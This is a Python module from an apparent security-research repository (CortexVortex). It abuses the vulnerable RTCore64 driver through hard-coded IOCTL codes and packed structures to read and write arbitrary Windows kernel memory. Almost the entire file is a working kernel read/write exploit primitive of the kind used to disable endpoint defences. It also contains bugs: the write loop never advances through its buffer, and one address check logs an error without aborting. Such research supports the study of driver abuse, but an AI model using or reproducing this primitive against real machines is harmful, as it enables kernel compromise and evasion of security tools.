mirror of
https://github.com/SafeBreach-Labs/CortexVortex
synced 2026-06-08 12:29:59 +00:00
Shmuel
151 lines
5.1 KiB
Python
151 lines
5.1 KiB
Python
"""
|
|
Module for interacting with RTCore64 driver to read and write kernel memory.
|
|
|
|
This module provides functions to read and write kernel memory using the RTCore64 driver.
|
|
|
|
Classes:
|
|
Rtcore64MemoryWrite: Structure for writing kernel memory using RTCore64.
|
|
Rtcore64MemoryRead: Structure for reading kernel memory using RTCore64.
|
|
|
|
Functions:
|
|
read_memory_rtcore: Reads data from memory using RTCore64 driver.
|
|
write_memory_rtcore: Writes data to memory using RTCore64 driver.
|
|
"""
|
|
|
|
from ctypes import Structure, sizeof, c_byte, c_uint8, c_uint16, c_uint32, c_uint64
|
|
import logging
|
|
import win32file
|
|
|
|
RTCORE64_MEMORY_READ_CODE = 0x80002048
|
|
RTCORE64_MEMORY_WRITE_CODE = 0x8000204c
|
|
|
|
|
|
class Rtcore64MemoryWrite(Structure):
|
|
"""
|
|
Structure for writing kernel memory using RTCore64.
|
|
"""
|
|
_pack_ = 1
|
|
_fields_ = [("pad1",c_byte * 0x8),
|
|
("address", c_uint64),
|
|
("pad2", c_byte * 0x4),
|
|
("offset", c_uint32),
|
|
("write_size", c_uint32),
|
|
("write_value", c_uint32),
|
|
("pad3",c_byte * 0x10)]
|
|
|
|
class Rtcore64MemoryRead(Structure):
|
|
"""
|
|
Structure for reading kernel memory using RTCore64.
|
|
"""
|
|
_pack_ = 1
|
|
_fields_ = [("pad1",c_byte * 0x8),
|
|
("address", c_uint64),
|
|
("pad2", c_byte * 0x4),
|
|
("offset", c_uint32),
|
|
("read_size", c_uint32),
|
|
("read_value", c_uint32),
|
|
("pad3",c_byte * 0x10)]
|
|
|
|
|
|
def read_memory_rtcore(size, address):
|
|
"""
|
|
Reads data from memory using RTCore64 driver.
|
|
|
|
This function reads data from memory using the RTCore64 driver.
|
|
|
|
:param size: The size of data to read from memory.
|
|
:param address: The starting address in memory from which to read.
|
|
:return: A bytes object containing the read data.
|
|
"""
|
|
|
|
driver_handle = win32file.CreateFile("\\\\.\\RTCore64", 0xC0000000, 0, None, 0x3, 0, None)
|
|
if int(driver_handle) < 0:
|
|
logging.error("Failed to obtain RTCore64 handle")
|
|
logging.error("Exiting")
|
|
exit()
|
|
|
|
read_command = Rtcore64MemoryRead()
|
|
read_command.address = address
|
|
result = b''
|
|
|
|
while size:
|
|
if size >= 4:
|
|
read_command.read_size = 4
|
|
elif size >= 2:
|
|
read_command.read_size = 2
|
|
else:
|
|
read_command.read_size = 1
|
|
|
|
read_command.offset = 0
|
|
|
|
if address < 0x0000800000000000:
|
|
logging.error("Userland address used: 0x%s\n\
|
|
This should not happen, aborting...", f"{address:016x}")
|
|
exit()
|
|
if address < 0xFFFF800000000000:
|
|
logging.error("Non canonical address used: 0x%s\n\
|
|
Aborting to avoid a BSOD...", f"{address:016x}")
|
|
|
|
res = win32file.DeviceIoControl(driver_handle,
|
|
RTCORE64_MEMORY_READ_CODE,
|
|
bytearray(read_command),
|
|
sizeof(Rtcore64MemoryRead))
|
|
|
|
out_buf = Rtcore64MemoryRead.from_buffer_copy(res)
|
|
|
|
read_command.address += read_command.read_size
|
|
size -= read_command.read_size
|
|
result += out_buf.read_value.to_bytes(read_command.read_size, byteorder='little')
|
|
|
|
return result
|
|
|
|
def write_memory_rtcore(address, buffer):
|
|
"""
|
|
Writes data to memory using RTCore64 driver.
|
|
|
|
This function writes data to memory using the RTCore64 driver.
|
|
|
|
:param address: The address in memory to write to.
|
|
:param buffer: The data buffer to write to the memory.
|
|
"""
|
|
|
|
driver_handle = win32file.CreateFile("\\\\.\\RTCore64", 0xC0000000, 0, None, 0x3, 0, None)
|
|
if int(driver_handle) < 0:
|
|
logging.error("Failed to obtain RTCore64 handle")
|
|
return False
|
|
|
|
write_command = Rtcore64MemoryWrite()
|
|
write_command.address = address
|
|
write_command.offset = 0
|
|
size = len(buffer)
|
|
|
|
while size:
|
|
if size >= 4:
|
|
write_command.write_size = 4
|
|
write_command.write_value = c_uint32.from_buffer(buffer).value
|
|
elif size >= 2:
|
|
write_command.write_size = 2
|
|
write_command.write_value = c_uint16.from_buffer(buffer).value
|
|
else:
|
|
write_command.write_size = 1
|
|
write_command.write_value = c_uint8.from_buffer(buffer).value
|
|
|
|
if address < 0x0000800000000000:
|
|
logging.error("Userland address used: 0x%s\n\
|
|
This should not happen, aborting...", f"{address:016x}")
|
|
exit()
|
|
if address < 0xFFFF800000000000:
|
|
logging.error("Non canonical address used: 0x%s\n\
|
|
Aborting to avoid a BSOD...", f"{address:016x}")
|
|
exit()
|
|
|
|
win32file.DeviceIoControl(driver_handle,
|
|
RTCORE64_MEMORY_WRITE_CODE,
|
|
bytearray(write_command),
|
|
sizeof(Rtcore64MemoryRead))
|
|
|
|
|
|
|
|
write_command.address += write_command.write_size
|
|
size -= write_command.write_size
|